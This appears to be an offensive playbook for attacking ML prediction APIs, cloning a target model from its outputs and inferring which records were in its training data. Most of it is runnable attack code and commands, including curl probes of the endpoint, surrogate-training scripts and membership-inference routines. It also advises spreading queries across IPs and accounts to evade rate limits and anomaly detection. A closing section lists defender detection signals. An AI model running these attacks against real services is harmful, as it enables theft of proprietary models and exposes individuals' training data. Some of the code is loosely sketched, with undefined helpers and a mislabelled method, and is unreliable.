ml-model-extraction

# ML Model Extraction and Membership Inference Two closely related attacks against deployed ML prediction APIs: - **Model extraction (stealing):** reconstruct a functionally equivalent clone of the target model using only its input/output pairs, without access to weights, architecture, or training data. (Tramer et al. 2016, "Stealing Machine Learning Models via Prediction APIs") - **Membership inference:** determine whether a specific record was used to train the target model, breaching training-data confidentiality. (Shokri et al. 2017, "Membership Inference Attacks Against Machine Learning Models") These are distinct from LLM prompt-extraction attacks: the target is a classical ML model (logistic regression, decision tree, DNN) or an ML-as-a-service endpoint (AWS SageMaker, GCP AutoML, Azure ML, custom REST API). > **Authorized use only.** Query-volume attacks against commercial ML APIs may violate terms > of service, the CFAA, and GDPR Article 22. Confirm scope includes data-privacy testing of > the prediction endpoint before proceeding. --- ## ATT&CK Mapping | Technique | Use | |---|---| | T1213 — Data from Information Repositories | Reconstructing training data via repeated model queries | | T1119 — Automated Collection | Systematic API querying to build a clone dataset | | T1590 — Gather Victim Network Information | Fingerprinting the ML service to determine model family | --- ## 1. Reconnaissance — profile the target API ```bash # 1a. Determine output type curl -s -X POST "$API/predict" -d '{"features": [0,0,0]}' | jq . # Does it return: hard label only? Confidence scores? Probability distributions? # Probabilities = highest information; enables equation-solving extraction # 1b. Infer model type from decision-boundary shape # Binary classifier: probe boundary by linear interpolation between two known-class samples # Multi-class: vary one feature at a time, record where predicted class changes # Decision-tree vs smooth boundary: tree-type models have axis-aligned boundaries # 1c. Count features and valid ranges from API docs / error messages curl -s -X POST "$API/predict" -d '{}' | jq .error # Validation errors often expose expected feature names and types # 1d. Estimate query budget (cost / rate limit) # Most commercial APIs: ~$0.0001–0.001 per query; 10k–1M queries typical for extraction ``` --- ## 2. Model extraction ### 2a. Equation-solving attack (logistic/linear models) For models returning exact probability scores, d features → d+1 queries suffice (Tramer): ```python import numpy as np from scipy.optimize import fsolve def extract_logreg(query_fn, n_features, n_classes): """ Solve for weight matrix W using the system of equations: softmax(W @ x_i) = query_fn(x_i) n_features * n_classes unknowns, solved via n_features * n_classes + 1 queries. """ queries = [np.random.randn(n_features) for _ in range(n_features * n_classes + 1)] scores = [query_fn(q) for q in queries] # shape: (n_queries, n_classes) # Fit a local logistic regression to (queries, scores) using soft targets from sklearn.linear_model import LogisticRegression surrogate = LogisticRegression(multi_class='multinomial', max_iter=1000) labels = [np.argmax(s) for s in scores] surrogate.fit(queries, labels) return surrogate # clone with equivalent decision boundary # Verify: clone accuracy vs target on held-out natural inputs should be >95% ``` ### 2b. Path-finding attack (decision trees) Decision trees are fully recoverable with O(n_leaves * depth) queries via adaptive path traversal: ```python def extract_decision_tree(query_fn, feature_bounds, max_depth=10): """ Recursively find split thresholds by binary search. For each feature, probe the boundary where the predicted class changes. """ from sklearn.tree import DecisionTreeClassifier X_queries, y_labels = [], [] # Adaptive sampling: grid + boundary refinement for _ in range(5000): x = np.random.uniform(feature_bounds[:, 0], feature_bounds[:, 1]) y = np.argmax(query_fn(x)) X_queries.append(x) y_labels.append(y) surrogate = DecisionTreeClassifier(max_depth=max_depth) surrogate.fit(X_queries, y_labels) return surrogate ``` ### 2c. Neural network surrogate (DNN, general) For deep models, train a surrogate network on (query, prediction) pairs using soft labels: ```python import torch, torch.nn as nn def extract_dnn_surrogate(query_fn, input_dim, n_classes, query_budget=50000): """ Knockoff Nets approach: sample diverse inputs, label with target API, train clone. """ # Step 1: collect a representative query dataset # Use natural images / domain data if available; random noise also works for coarse clones X_steal = collect_diverse_inputs(query_budget) # shape: (N, input_dim) y_soft = np.array([query_fn(x) for x in X_steal]) # soft labels from API # Step 2: train surrogate with knowledge distillation on soft labels surrogate = build_surrogate_nn(input_dim, n_classes) optimizer = torch.optim.Adam(surrogate.parameters(), lr=1e-3) kl_loss = nn.KLDivLoss(reduction='batchmean') for epoch in range(50): for xb, yb in batches(X_steal, y_soft): pred = torch.log_softmax(surrogate(xb), dim=1) loss = kl_loss(pred, torch.tensor(yb, dtype=torch.float32)) loss.backward(); optimizer.step(); optimizer.zero_grad() return surrogate # Reference implementation: https://github.com/tribhuvanesh/knockoffnets ``` ### 2d. Using Steal-ML (Tramer reference implementation) ```bash git clone https://github.com/ftramer/Steal-ML cd Steal-ML pip install -r requirements.txt # Configure target: edit config.py with your API endpoint # Modes: logreg, mlp, dtree, svm python steal.py --model logreg --n_queries 5000 --target $API_URL # Outputs: cloned_model.pkl + fidelity score (agreement with target) ``` --- ## 3. Membership inference Determine whether a specific record (x, y) was used to train the target model. ### 3a. Shadow model attack (Shokri et al.) ```python # Principle: models generalize less to non-training data. # Train "shadow models" on datasets similar to the target's. # Train an "attack classifier" on (shadow_model_outputs, member/non-member). # Apply attack classifier to target model outputs for test records. from sklearn.ensemble import RandomForestClassifier def membership_inference_attack(target_query_fn, shadow_models, shadow_train_sets, shadow_test_sets, candidate_records): """ shadow_models: list of models trained on shadow_train_sets shadow_train_sets: data used to train each shadow model (members) shadow_test_sets: data NOT used (non-members) """ # Build meta-training set for attack model X_meta, y_meta = [], [] for model, train_set, test_set in zip(shadow_models, shadow_train_sets, shadow_test_sets): for x in train_set: X_meta.append(model.predict_proba([x])[0]) y_meta.append(1) # member for x in test_set: X_meta.append(model.predict_proba([x])[0]) y_meta.append(0) # non-member attack_clf = RandomForestClassifier(n_estimators=100) attack_clf.fit(X_meta, y_meta) # Query target and classify results = {} for record in candidate_records: conf_vector = target_query_fn(record) results[record] = attack_clf.predict([conf_vector])[0] # 1=member, 0=non-member return results ``` ### 3b. Confidence-threshold attack (simple, no shadow models) When a model overfits, training examples get very high confidence scores: ```python def threshold_membership_inference(query_fn, candidate_records, threshold=0.95): """ Heuristic: if predicted confidence for the correct class exceeds threshold, the record was likely in the training set. Works best against overfitted models (small datasets, many epochs). """ for record, true_label in candidate_records: scores = query_fn(record) # confidence vector if scores[true_label] >= threshold: print(f"MEMBER (confidence {scores[true_label]:.3f}): {record[:5]}...") else: print(f"Non-member (confidence {scores[true_label]:.3f}): {record[:5]}...") ``` ### 3c. Using ML Privacy Meter ```bash pip install ml-privacy-meter python - <<'EOF' from privacymeter.audit import Audit from privacymeter.information_source import InformationSource # target_model: your model or API wrapper # target_train: records suspected to be in training set # target_test: records known NOT to be in training set (baseline) audit = Audit( target=InformationSource(model=target_model, dataset=target_train), reference=InformationSource(model=target_model, dataset=target_test), ) report = audit.prepare_privacy_risk_report() report.save("membership_inference_report.pdf") EOF ``` --- ## 4. Query budget and operational considerations | Model type | Extraction queries | Clone fidelity | Key reference | |---|---|---|---| | Logistic regression (d features) | d+2 (exact) | ~100% | Tramer 2016 | | Decision tree (depth k, d features) | O(d * 2^k) | ~100% | Tramer 2016 | | DNN, surrogate+KD | 10k–100k | 80–95% | Knockoff Nets 2018 | | DNN, hard-label only | 100k–1M | 70–90% | PRADA 2019 | **Rate limit evasion:** distribute queries across IPs/accounts; randomize timing; use domain-valid inputs to avoid anomaly detection on the API side. --- ## 5. Validation ```bash # Measure clone fidelity: agreement rate on held-out inputs python - <<'EOF' import numpy as np X_test = load_held_out_test_set() target_labels = [query_target_api(x) for x in X_test] surrogate_labels = [surrogate_model.predict([x])[0] for x in X_test] fidelity = np.mean(np.array(target_labels) == np.array(surrogate_labels)) print(f"Clone fidelity: {fidelity:.3%}") # >80% = functional clone suitable for transfer attacks # >95% = near-exact extraction, sufficient for IP theft demonstration EOF ``` --- ## 6. Detection signals (defender perspective) - Unusually high query volume from a single account/IP, especially systematic feature sweeps - Queries that span the full input space uniformly (non-natural distribution) - Confidence scores accessed at rate inconsistent with normal application usage - PRADA defence: detect surrogate-training patterns via query-sequence analysis - Watermark model outputs: embed a statistical fingerprint in confidence scores that survives cloning and allows ownership proof - Differential privacy in training reduces membership inference signal at the cost of accuracy